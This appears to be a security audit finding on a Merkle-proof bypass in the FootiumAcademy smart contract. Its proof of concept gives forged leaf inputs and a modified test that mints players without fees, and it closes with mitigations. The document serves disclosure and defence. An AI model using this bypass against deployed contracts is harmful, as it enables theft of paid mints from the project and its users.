GimelSec

high

# The leaf value of `clubDivsMerkleTree` should not be exactly 64 bytes long prior to hashing

## Summary

When using [MerkleProofUpgradeable.sol](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/utils/cryptography/MerkleProofUpgradeable.sol), it should avoid using leaf values that are 64 bytes long prior to hashing. However `clubDivsMerkleTree` in `FootiumAcademy` uses leaf values that are exactly 64 bytes long. Therefore, the attacker can bypass the merkle-tree proof to mint players without any fees.


## Vulnerability Detail


The leaf value in `FootiumAcademy._validateMintingParams` are exactly 64 bytes long (uint256 + uint256 = 32 bytes + 32 bytes = 64 bytes).
https://github.com/sherlock-audit/2023-04-footium/blob/main/footium-eth-shareable/contracts/FootiumAcademy.sol#L236
```solidity
    function _validateMintingParams(
        SeasonID seasonId,
        uint256 clubId,
        uint256 divisionTier,
        uint256[] calldata generationIds,
        bytes32[] calldata divisionProof
    ) private returns (uint256) {
        if (
            !MerkleProofUpgradeable.verify(
                divisionProof,
                _clubDivsMerkleRoot,
                keccak256(abi.encodePacked(clubId, divisionTier))
            )
        ) {
            revert ClubNotInDivision(clubId, divisionTier);
        }

        …
    }
```
The merkle-tree proof could be bypassed when the leaf values are 64 bytes long. The following links can help you understand the details.

https://github.com/OpenZeppelin/openzeppelin-contracts/issues/3091
https://blog.openzeppelin.com/zksync-layer-1-audit/#merkle-library-verifies-intermediate-inputs

Then, I’m going to demonstrate the attack. First, let’s take a look of `clubDivsTree` used in 
`test/FootiumAcademy.test.ts`.
```solidity
// console.log(clubDivsTree.toString());
└─ 786607743ff3568994e9f95849e301e639f26affc150c67cac91d960a1b38f1e
   ├─ c3704a5a191242982921a7ba6018356d1c4f36cef3447b1596763d1b05a11efe
   │  ├─ 9d86f1aa5e133c814f034cd91e7ff67704f816bba73a2d5cfd0e48c8c3f9f2ad
   │  │  ├─ cc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f
   │  │  └─ 679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c
   │  └─ 56176d99dd782b5af4a770f31b01589fdcf57380ec72f9ddf7d69d14eeb244e9
   │     ├─ cbc4e5fb02c3d1de23a9f1e014b4d2ee5aeaea9505df5e855c9210bf472495af
   │     └─ beb3bad75134cb432e5707980e3245c52c5998a1125ee30f2f0dbf3925b1e551
   └─ 7925decdce96e418fd327c5582e72db17cdbd59e17de4be4eae814a68cf94e50
      ├─ 3df150b781c94b7748fc28af8a490c145176121e25f0c70039f6374a31d955ae
      │  ├─ 29a15b4128bed86920d8d75ce6a7a845aa25ce798f5ce1c8595abd2c96c2672c
      │  └─ f416400a389b2271c5c6051273e6b62961b6906215e5f4d9099a99323151c03f
      └─ 720738d2d0bf8f6327d69ac76acdf464a1aeb2f446047b663d4f5587e05f2ea9
         ├─ 2918d3e53c8e0bf317edd7ae8c62fe39545d7d602785947d3a700ce4c956b1b6
         └─ c9961bec5c0945c554fdf349b16a41477787cac10e8de0ce169c28260f6dd05a

//cat footium-eth-shareable\scripts\clubDivsMetadata.json
[
    [1, 1],
    [2, 2],
    [3, 3],
    [7, 4],
    [120, 5],
    [1000, 6],
    [3000, 7],
    [2070, 8]
]
```
The normal leaf value is `keccak256(abi.encodePacked(clubId, divisionTier))`. And the params of `MerkleProofUpgradeable.verify` is
```solidity
// use [7, 4] as the example
clubId = 7
divisionTier = 4
divisionProof = [
  '0xcbc4e5fb02c3d1de23a9f1e014b4d2ee5aeaea9505df5e855c9210bf472495af',
  '0x9d86f1aa5e133c814f034cd91e7ff67704f816bba73a2d5cfd0e48c8c3f9f2ad',
  '0x7925decdce96e418fd327c5582e72db17cdbd59e17de4be4eae814a68cf94e50'
]
_clubDivsMerkleRoot = '0x786607743ff3568994e9f95849e301e639f26affc150c67cac91d960a1b38f1e'
```

Then, the verification process is:
```solidity
    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }
    
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

// _clubDivsMerkleRoot  == _hashPair(_hashPair(_hashPair(keccak256(abi.encodePacked(clubId, divisionTier)), divisionProof[0]), divisionProof[1]), divisionProof[2])
```
The proof can be cheated by using the intermediate value as the leaf value. We can use the following param to bypass the verification.
```soliditiy
clubId = 0x3df150b781c94b7748fc28af8a490c145176121e25f0c70039f6374a31d955ae
divisionTier = 0x720738d2d0bf8f6327d69ac76acdf464a1aeb2f446047b663d4f5587e05f2ea9
divisionProof = [
  '0xc3704a5a191242982921a7ba6018356d1c4f36cef3447b1596763d1b05a11efe',
]
_clubDivsMerkleRoot = '0x786607743ff3568994e9f95849e301e639f26affc150c67cac91d960a1b38f1e'

// The verification process
keccak256(abi.encodePacked(clubId, divisionTier)) = 0x7925decdce96e418fd327c5582e72db17cdbd59e17de4be4eae814a68cf94e50
_hashPair('0x7925decdce96e418fd327c5582e72db17cdbd59e17de4be4eae814a68cf94e50', '0xc3704a5a191242982921a7ba6018356d1c4f36cef3447b1596763d1b05a11efe’) = '0x786607743ff3568994e9f95849e301e639f26affc150c67cac91d960a1b38f1e'
```

I also modified `test/FootiumAcademy.test.ts` to demonstrate the attack.
```solidity
    before(async () => {
        …

        await clubs.safeMint(addr1.address, 1);
        await clubs.safeMint(addr1.address, 7);
        
        const forgedClubId = ethers.BigNumber.from("0x3df150b781c94b7748fc28af8a490c145176121e25f0c70039f6374a31d955ae")
        await clubs.safeMint(addr1.address, forgedClubId); // 

        …
    });

…

        it("can bypass merkle-tree proof to mint players without any fee", async () => {
            const forgedClubId = ethers.BigNumber.from("0x3df150b781c94b7748fc28af8a490c145176121e25f0c70039f6374a31d955ae")
            const forgedTier = ethers.BigNumber.from("0x720738d2d0bf8f6327d69ac76acdf464a1aeb2f446047b663d4f5587e05f2ea9")
            const forgedClubDivProof = [ "0xc3704a5a191242982921a7ba6018356d1c4f36cef3447b1596763d1b05a11efe"]
            await expect(
                academy.connect(addr1).mintPlayers(1, forgedClubId, forgedTier, [0,1,2,3,4,5], forgedClubDivProof, {
                    value: 0,
                })
            ).to.not.reverted;
        });
```

In conclusion, the merkle-tree proof could be bypassed, and the forged division tier usually doesn’t have any fee.  The attacker can mint players without any fees 

## Impact

The attacker can bypass the proof then mint players in `FootiumAcademy`. And it won’t cost any fee. The only condition is that the attacker needs to own the forged clubId.

## Code Snippet

https://github.com/sherlock-audit/2023-04-footium/blob/main/footium-eth-shareable/contracts/FootiumAcademy.sol#L236

## Tool used

Manual Review

## Recommendation

There are two methods to mitigate this issue.
First, don’t use leaf values that are 64 bytes long. Add more elements like `FootiumAcademy` address into the leaf.
Second, use [@openzeppelin/merkle-tree](https://github.com/OpenZeppelin/merkle-tree) instead. It double-hash the leaf value. And modified the leaf computation in the code.
```solidity
use
keccak256(bytes.concat(keccak256(abi.encode(clubId, divisionTier))))
instead of
keccak256(abi.encodePacked(clubId, divisionTier))
```
